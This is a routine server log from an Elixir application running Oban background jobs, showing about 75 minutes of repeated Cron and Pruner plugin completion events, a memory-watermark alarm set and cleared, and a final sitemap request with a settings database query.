{"source":"oban","duration":399,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:54:15.605 [info] {"source":"oban","duration":1721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:45.608 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.626 [info] {"source":"oban","duration":427,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:55:15.611 [info] {"source":"oban","duration":1973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:45.614 [info] {"source":"oban","duration":2746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.627 [info] {"source":"oban","duration":368,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:56:15.616 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:23.612 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:56:45.619 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.630 [info] {"source":"oban","duration":1722,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:57:15.621 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:45.625 [info] {"source":"oban","duration":1835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.632 [info] {"source":"oban","duration":1218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:58:15.628 [info] {"source":"oban","duration":2290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:45.630 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.633 [info] {"source":"oban","duration":457,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:59:15.632 [info] {"source":"oban","duration":1811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:45.636 [info] {"source":"oban","duration":2766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.635 [info] {"source":"oban","duration":1087,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:00:15.639 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:45.642 [info] {"source":"oban","duration":2004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.636 [info] {"source":"oban","duration":503,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:01:15.644 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:45.647 [info] {"source":"oban","duration":2250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.637 [info] {"source":"oban","duration":489,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:02:15.650 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:45.654 [info] {"source":"oban","duration":3017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.639 [info] {"source":"oban","duration":642,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:03:15.657 [info] {"source":"oban","duration":2475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:45.662 [info] {"source":"oban","duration":4121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.640 [info] {"source":"oban","duration":757,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:04:15.665 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:45.669 [info] {"source":"oban","duration":3707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.642 [info] {"source":"oban","duration":829,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:05:15.673 [info] {"source":"oban","duration":3868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:45.676 [info] {"source":"oban","duration":1866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.644 [info] {"source":"oban","duration":423,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:06:15.682 [info] {"source":"oban","duration":3852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:45.684 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.646 [info] {"source":"oban","duration":1129,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:07:15.688 [info] {"source":"oban","duration":3089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:45.691 [info] {"source":"oban","duration":2342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.647 [info] {"source":"oban","duration":629,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:08:15.695 [info] {"source":"oban","duration":3305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:45.697 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.649 [info] {"source":"oban","duration":1083,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:09:15.699 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:45.701 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.650 [info] {"source":"oban","duration":490,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:10:15.705 [info] {"source":"oban","duration":1945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:45.707 [info] {"source":"oban","duration":1826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.651 [info] {"source":"oban","duration":577,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:11:15.710 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:45.714 [info] {"source":"oban","duration":3423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.652 [info] {"source":"oban","duration":465,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:12:15.718 [info] {"source":"oban","duration":3684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:45.721 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.654 [info] {"source":"oban","duration":758,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:13:15.725 [info] {"source":"oban","duration":3157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:45.727 [info] {"source":"oban","duration":1837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.655 [info] {"source":"oban","duration":646,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:14:15.730 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:45.732 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.656 [info] {"source":"oban","duration":587,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:15:15.734 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:45.736 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.658 [info] {"source":"oban","duration":789,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:16:15.739 [info] {"source":"oban","duration":2604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:45.741 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.660 [info] {"source":"oban","duration":1192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:17:15.745 [info] {"source":"oban","duration":2207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:45.749 [info] {"source":"oban","duration":3322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.661 [info] {"source":"oban","duration":407,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:18:15.751 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:45.755 [info] {"source":"oban","duration":2159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.662 [info] {"source":"oban","duration":464,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:19:15.757 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:45.760 [info] {"source":"oban","duration":1966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.663 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:20:15.762 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:45.764 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.664 [info] {"source":"oban","duration":436,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:21:15.766 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:45.769 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.668 [info] {"source":"oban","duration":2953,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:22:15.772 [info] {"source":"oban","duration":2450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:45.774 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.671 [info] {"source":"oban","duration":1521,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:23:15.776 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:45.778 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.673 [info] {"source":"oban","duration":611,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:24:15.780 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:45.782 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.675 [info] {"source":"oban","duration":1232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:25:15.785 [info] {"source":"oban","duration":1964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:45.787 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.676 [info] {"source":"oban","duration":402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:26:15.789 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:45.791 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.678 [info] {"source":"oban","duration":962,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:27:15.793 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:45.795 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.680 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:28:15.797 [info] {"source":"oban","duration":1886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:45.800 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.682 [info] {"source":"oban","duration":419,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:29:15.803 [info] {"source":"oban","duration":2431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:45.805 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.683 [info] {"source":"oban","duration":378,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:30:15.807 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:45.811 [info] {"source":"oban","duration":2300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.685 [info] {"source":"oban","duration":1226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:31:15.814 [info] {"source":"oban","duration":2200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:45.817 [info] {"source":"oban","duration":2473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.686 [info] {"source":"oban","duration":632,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:32:15.820 [info] {"source":"oban","duration":2002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:45.823 [info] {"source":"oban","duration":2195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.689 [info] {"source":"oban","duration":515,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:33:15.826 [info] {"source":"oban","duration":1990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:23.903 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 16:33:45.828 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.690 [info] {"source":"oban","duration":572,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:34:15.830 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:45.834 [info] {"source":"oban","duration":3076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.692 [info] {"source":"oban","duration":734,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:35:15.839 [info] {"source":"oban","duration":2915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:45.841 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.695 [info] {"source":"oban","duration":903,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:36:15.844 [info] {"source":"oban","duration":2844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:45.850 [info] {"source":"oban","duration":3537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.696 [info] {"source":"oban","duration":516,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:37:15.853 [info] {"source":"oban","duration":2690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:45.856 [info] {"source":"oban","duration":2107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.697 [info] {"source":"oban","duration":381,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:38:15.867 [info] {"source":"oban","duration":7263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:45.870 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.698 [info] {"source":"oban","duration":586,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:39:15.872 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:45.874 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.700 [info] {"source":"oban","duration":385,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:40:15.876 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:45.878 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.702 [info] {"source":"oban","duration":876,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:41:15.880 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:45.882 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.705 [info] {"source":"oban","duration":836,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:42:15.885 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:45.887 [info] {"source":"oban","duration":1879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.707 [info] {"source":"oban","duration":909,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:43:15.890 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:45.892 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.708 [info] {"source":"oban","duration":654,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:44:15.894 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:45.896 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.710 [info] {"source":"oban","duration":1021,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:45:15.898 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:45.903 [info] {"source":"oban","duration":4465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.711 [info] {"source":"oban","duration":699,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:46:15.907 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:45.911 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.713 [info] {"source":"oban","duration":520,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:47:15.913 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:45.915 [info] {"source":"oban","duration":1791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.714 [info] {"source":"oban","duration":413,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:48:15.918 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:45.920 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.715 [info] {"source":"oban","duration":575,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:49:15.923 [info] {"source":"oban","duration":2752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:45.926 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.716 [info] {"source":"oban","duration":474,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:50:15.929 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:45.933 [info] {"source":"oban","duration":2195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.718 [info] {"source":"oban","duration":938,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:51:15.937 [info] {"source":"oban","duration":2183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:45.939 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.719 [info] {"source":"oban","duration":617,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:52:15.941 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:45.943 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.721 [info] {"source":"oban","duration":744,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:53:15.945 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:45.947 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.722 [info] {"source":"oban","duration":526,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:54:15.949 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:45.952 [info] {"source":"oban","duration":2376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.725 [info] {"source":"oban","duration":604,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:55:15.954 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:45.956 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.726 [info] {"source":"oban","duration":397,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:56:15.960 [info] {"source":"oban","duration":3093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:45.962 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.727 [info] {"source":"oban","duration":747,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:57:15.965 [info] {"source":"oban","duration":2109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:45.968 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.729 [info] {"source":"oban","duration":492,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:58:15.971 [info] {"source":"oban","duration":2008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:45.973 [info] {"source":"oban","duration":1761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.730 [info] {"source":"oban","duration":671,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:59:15.976 [info] {"source":"oban","duration":1763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:45.980 [info] {"source":"oban","duration":1855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.732 [info] {"source":"oban","duration":596,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:00:15.983 [info] {"source":"oban","duration":1965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:45.986 [info] {"source":"oban","duration":2496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.734 [info] {"source":"oban","duration":413,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:01:15.990 [info] {"source":"oban","duration":3293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:45.993 [info] {"source":"oban","duration":1857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.735 [info] {"source":"oban","duration":578,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:02:15.996 [info] {"source":"oban","duration":1818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:45.998 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.736 [info] {"source":"oban","duration":373,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:03:16.001 [info] {"source":"oban","duration":2228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:46.004 [info] {"source":"oban","duration":2212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.738 [info] {"source":"oban","duration":875,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:04:16.007 [info] {"source":"oban","duration":2511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:46.012 [info] {"source":"oban","duration":2975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.742 [info] {"source":"oban","duration":1542,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:05:16.015 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:46.018 [info] {"source":"oban","duration":2416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.743 [info] {"source":"oban","duration":445,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:06:16.022 [info] {"source":"oban","duration":3514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:46.025 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.744 [info] {"source":"oban","duration":420,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:07:16.027 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:46.029 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.745 [info] {"source":"oban","duration":636,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:08:16.032 [info] {"source":"oban","duration":2343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:46.035 [info] {"source":"oban","duration":2122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.747 [info] {"source":"oban","duration":510,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:09:16.038 [info] {"source":"oban","duration":1974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:46.040 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.750 [info] {"source":"oban","duration":2093,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:10:16.043 [info] {"source":"oban","duration":1894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:46.046 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.751 [info] {"source":"oban","duration":424,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:11:12.814 [info] GET /sitemap.xml 17:11:12.816 [debug] QUERY OK source="settings" db=0.9ms idle=1497.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 